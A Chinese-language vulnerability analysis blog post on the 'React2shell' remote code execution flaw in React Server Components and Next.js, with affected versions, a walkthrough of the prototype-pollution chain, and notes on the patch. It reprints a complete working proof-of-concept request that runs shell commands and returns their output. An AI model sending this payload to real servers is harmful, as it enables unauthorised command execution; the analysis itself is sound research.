2025年12月3日,时隔4年,安全圈又一个通杀环境的核弹漏洞被公开,CVSS评分10.0,影响范围React 19+全版本,Next.js 15/16,无条件默认环境RCE漏洞,史称React2shell。
该漏洞由安全研究员 Lachlan Davidson 于 2025 年 11 月 29 日发现,在3号被公开
最早的版本大家讨论的结论是,只有使用rsc作为后端的环境才会受到漏洞的利用,主要原因还是受到了最早版本poc的影响,也就是ejpir专门构造的漏洞环境和poc。
但是很快maple3142在12月5日发布了真正的poc
在更快的时间内,next.js默认环境全版本通杀直接影响了以dify为代表的许多平台,一下子引爆了漏洞的影响范围,漏洞正式进入2阶段,大范围利用以及企业内部自查阶段。
漏洞影响范围影响范围包括
react-server:19.0.0,19.1.0,19.1.1,19.2.0
Next.js:14.3.0-canary、15.x 、16.x
修复补丁版本包括
React:19.0.1、19.1.2 、19.2.1
Next.js:14.3.0-canary.88、15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7
简单的漏洞演示最简单的漏洞演示非常简单,直接起一个默认环境的next.js即可
poc直接用maple的即可(这里要注意这个poc不能用来打线上环境,会打挂的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Length: 565 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('clac.exe').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
漏洞分析 什么是RSC(React Server Components)?在了解react2shell这个漏洞之前,第一个问题一定是,为什么一个前端语言会涉及到服务端的命令执行呢?这个问题就涉及到了React的新特性RSC(React Server Components)。
其实理解这个特性并不是很难,如果稍微关注过现在的前端实现方式,就会大概知道现在前端页面内容大多都是由js绘制的。打开页面往往没有实际的内容,都是由js代码完成交互获得内容并绘制页面。
但是我们换个角度去想,如果浏览器加载页面需要先js绘制,然后页面加载结束之后再去请求后端获得数据,如果页面复杂或者数据非常多,就会很容易加载慢,页面长时间的空白,体验感很差。
那么最初解决的方法也很简单,传统的SSR解决方案 ,就是服务器直接把页面和数据做好处理,直接返回HTML,页面就可以跳过处理的部分直接显示部分内容减少加载时间。但是问题也很明显,如果请求数量多,服务器压力就会大,而且如果页面很大,请求的js和html也会很大加载也会慢。
为了解决这些问题,后来又提出了RSC(React Server Components) ,服务端做好必要的数据处理,并以Flight协议的方式下发到客户端,客户端按照接收到的内容进行选择性水合,流式的更新前端交互内容。
在23年,Next.js13进一步延伸加入了Server Actions功能,在服务端提前定义好功能,通过客户端调用服务端运行操作,效率更高。并在后续这个特性被内置到了React中。
什么是Flight协议?这个漏洞的基础根基就是Flight协议,Flight协议就是React搞得一套用来在服务端和客户端之间传递信息的协议 ,传递到前端则会影响前端页面的显示内容,传递到后端则是会执行对应的Server Actions。说白了就是一个有点儿类似于java传递序列化信息的东西。
React的服务端会在接收到请求之后经过一系列处理最终反序列化得到js对象
其实大多东西都不值得关注,其中最关键的部分是类型标识,带有特殊标记的变量会在反序列化的时候转化为对应的对象引用,这点其实和其他语言反序列化的逻辑类似。
理论上来说,反序列化并没有对内容做严格的限制,只要符合格式,就可以获得对应的js对象。
而这个漏洞的核心原理,在服务端对传入内容解析转对象时,导致了原型链污染,最终触发代码执行。
在实际的漏洞之前,可能还需要知道Chunk对象是什么。
Chunk对象在React服务端收到post请求,请求包的content-type为multipart/form-data,其中每段数据将会转化为一个Chunk对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 function Chunk (status: any, value: any, reason: any, response: Response ) { this .status = status; this .value = value; this .reason = reason; this ._response = response; } Chunk.prototype = (Object .create(Promise .prototype): any); Chunk.prototype.then = function <T >( this: SomeChunk<T>, resolve: (value: T ) => mixed , reject : (reason: mixed ) => mixed , ) { const chunk: SomeChunk<T> = this ; switch (chunk.status) { case RESOLVED_MODEL: initializeModelChunk(chunk); break ; } switch (chunk.status) { case INITIALIZED: resolve(chunk.value); break ; case PENDING: case BLOCKED: case CYCLIC: if (resolve) { if (chunk.value === null ) { chunk.value = ([]: Array <(T ) => mixed>); } chunk.value.push(resolve); } if (reject) { if (chunk.reason === null ) { chunk.reason = ([]: Array <(mixed ) => mixed>); } chunk.reason.push(reject); } break ; default : reject(chunk.reason); break ; } };
这里需要关注两个case
当case是”resolved_model”时,调用initializeModelChunk方法初始化Chunk对象
当case是”fulfilled”时,调用resolve方法处理
这个Chunk对象结构将会贯穿这个漏洞很多流程
漏洞分析让我们回到React处理请求的逻辑上,核心位于decodeReplyFromBusboy方法
response来自于createResponse,其中_formData刚好对应表单传入的formdata
紧接着绑定事件到field上,会对应触发resolveField处理response
一直执行到return getRoot,会尝试获得response的第0个Chunk
在getChunk中,由于_formData此时不为空,所以走到createResolvedModelChunk方法,并新建一个Chunk对象,id为0
完成了Chunk对象的初始化之后,会触发then方法回到状态判断上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 Chunk.prototype.then = function <T >( this: SomeChunk<T>, resolve: (value: T ) => mixed , reject : (reason: mixed ) => mixed , ) { const chunk: SomeChunk<T> = this ; switch (chunk.status) { case RESOLVED_MODEL: initializeModelChunk(chunk); break ; } switch (chunk.status) { case INITIALIZED: resolve(chunk.value); break ; case PENDING: case BLOCKED: case CYCLIC: if (resolve) { if (chunk.value === null ) { chunk.value = ([]: Array <(T ) => mixed>); } chunk.value.push(resolve); } if (reject) { if (chunk.reason === null ) { chunk.reason = ([]: Array <(mixed ) => mixed>); } chunk.reason.push(reject); } break ; default : reject(chunk.reason); break ; } };
此时Chunk的status为RESOLVED_MODEL,所以走到initializeModelChunk方法初始化对象。
initializeModelChunk中对发送的请求做解析处理,解析完成之后会把status修改成INITIALIZED。
在reviveModel中,会解析_response的内容,当请求为string类型时,会有一段额外的指令处理逻辑,其实对应的就是前面Flight协议的类型标识
这里比较重要的有几个
$@后跟id,可以递归获取其他id的Chunk对象,这个后面会提到的漏洞利用涉及到的点之一
$B后跟id,可以获取对应formData中对应key的value,可控内容来源
如果第一个字符是$,但是后续没有走到对应的分支,将会在最终进入getOutlinedModel
在getOutlinedModel中,将会把$符号之后的内容按照:分割
分割后的第一段为Chunk的id,进入getChunk
后续根据Chunk的状态进入处理,依次遍历所有的path并赋值给value,这里也是触发漏洞的位置。
这里结合poc可能会更有感觉一些
1 2 3 4 poc的核心部分:$1 :__proto__:then 获得id为1 的Chunk对象,并且获得对应的value value2 = value["__proto__" ] value3 = value2["then" ] = value["__proto__" ]["then" ]
这样一来通过原型链就可以访问任意对象的属性,那么如何用这个漏洞来实现RCE呢?
这其实涉及到一个JS的特性,其实JS的非常多各种对象都是来源于同一个原型,这也是为什么JS的原型链污染问题层出不穷,就比如说很多对象向上找都会追溯到Function对象。
就比如[].constructor.constructor就是一个Function对象,操作这个对象就可以实现任意代码执行。
在这个基础上我们如何读取都知道了,你怎么如何操作呢,如果我们非常简单的直接链式调用读取Function,就会遇到这样一个问题,假设请求内容为
1 2 3 4 5 6 7 8 9 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" {"then" :"$1:constructor:constructor" } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
此时会出现这样一个问题
1 2 3 4 1 、getChunk(0 )2 、getOutlinedModel中通过分割path并且遍历getChunk(1 ),返回value为[]的Chunk对象3 、最终value为[].constructor.constructor也就是Function 对象4 、那么此时返回上层then的是Function 对象,由于Function 不是一个Promise 对象,无法继续执行
那唯一的办法就是要让最后返回的对象也是一个Chunk对象。
这就涉及到了一个前面提到过的知识,就是$@
$@后跟id,可以递归获取其他id的Chunk对象
那这里我们尝试用一个嵌套递归逻辑来实现返回一个Chunk对象
1 2 3 4 5 6 7 8 9 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" {"then" : "$1:then" } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
来看看这个请求的处理逻辑
1 2 3 4 5 1 、getChunk(0 )2 、getOutlinedModel中通过分割path并且进入getChunk(1 )3 、@0 触发第二次getChunk(0 ),返回的是Chunk0的实例4 、返回到getOutlinedModel进入遍历,此时value对应为Chunk0的实例,return 的就是Chunk对象5 、最终await 触发Chunk0的then方法
这里我们理明白这套嵌套逻辑之后,其实还有一个问题,这就涉及到前面提到的另一个点
$B后跟id,可以获取对应formData中对应key的value,可控内容来源
1 2 3 4 5 6 7 8 case 'B' : { const id = parseInt (value.slice(2 ), 16 ); const prefix = response._prefix; const blobKey = prefix + id; const backingEntry: Blob = (response._formData.get(blobKey): any); return backingEntry; }
而_prefix作为response中的可控部分,通过控制_prefix就可以指定blobKey的前半部分内容,此时如果我们通过原型链污染把get修改为Function,就可以顺利成章的触发Function(exp)
这里我们直接拿公开的poc来看利用逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then" : "$1:__proto__:then" , "status" : "resolved_model" , "reason" : -1 , "value" : "{\"then\":\"$B1337\"}" , "_response" : { "_prefix" : "var res=process.mainModule.require('child_process').execSync('whoami.exe').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});" , "_formData" : { "get" : "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
处理逻辑如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 1 、getChunk(0 )2 、getOutlinedModel中分割Chunk0的then内容,$1 :__proto__:then被处理为Chunk1,path内容为[__proto__, then]3 、触发getChunk(1 )4 、在Chunk1中检测到$@0 ,于是获得Chunk0的实例,返回给Chunk1的value5 、回到第一次getOutlinedModel中,Chunk0的value最终为Chunk0.__proto__.then6 、回到最上层触发then,此时处理内容为"{\"then\":\"$B1337\"}" 7 、检测到$B,此时 prefix为"var res=process.mainModule.require('child_process').execSync('whoami.exe').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});" id为1337 最终拼接获得prefix + id 8 、触发_formData.get,参数为prefix + id9 、get 对应的value是"$1:constructor :constructor ",$1对应getChunk1,也就是前面的Chunk0实例10、由于Chunk本身也是一个Function,所以他的constructor .constructor 也是Function 11、等于此时触发Function(prefix + id),触发代码执行
这里也稍微看下exp的构造,其实主要是为了回显,exp如下
1 2 var res=process.mainModule.require('child_process' ).execSync('whoami.exe' ).toString().trim();throw Object .assign(new Error ('NEXT_REDIRECT' ),{digest : `NEXT_REDIRECT;push;/login?a=${res} ;307;` });
按照前面的利用链来说,如果我们直接使用childprocess执行命令,那么命令会执行,但Flight的后续逻辑会走不下去,程序就卡住了。
那我们就需要手动抛出一个错误来终止程序,而React相关的代码逻辑中,如果digest有内容,他就会返回到页面内,也就是说我们可以通过手动抛出错误并控制digest内容来获取命令执行的返回。
到这里利用闭环,不但可以实现命令执行,还可以获得回显。
关于补丁
React关于漏洞的补丁很搞笑的是和其他的业务更新合并到了一起,这一点在github上有很多人吐槽,这也导致补丁内容非常乱,实际的漏洞修复在ReactFlightReplyServer.js的部分改动中。
主要的修复有这么几处
首先是声明了一个特殊的类型为Symbol的常量RESPONSE_SYMBOL作为response的key
后续所有关于response的引用都修改成了通过RESPONSE_SYMBOL来引用,而json_parse无法实现Symbol类型,也就无法影响reponse的内容。
还有一个是hasOwnProperty的检查,补丁中在包括getOutlinedModel在内的value处理中加入了hasOwnProperty,这样你就无法去获取原型链中未定义的属性。
其实还有一些别的改动影响到了原利用链,但就像前面说的补丁内容牵扯到的更新太多,补丁非常乱就不细扣了。
总结作为2025年的收官漏洞,同时也是4年一次难得一见的通用组件通杀漏洞,能见证并分析这种漏洞有很多感受,感叹漏洞的影响力,感叹利用链的精巧,感叹漏洞公开者的魄力。
时间走到2026年,这些年探索的更多都是安全+,很少有能深入探究漏洞本身的时候,也希望面对充满未知的2026,能保留安全研究的初心。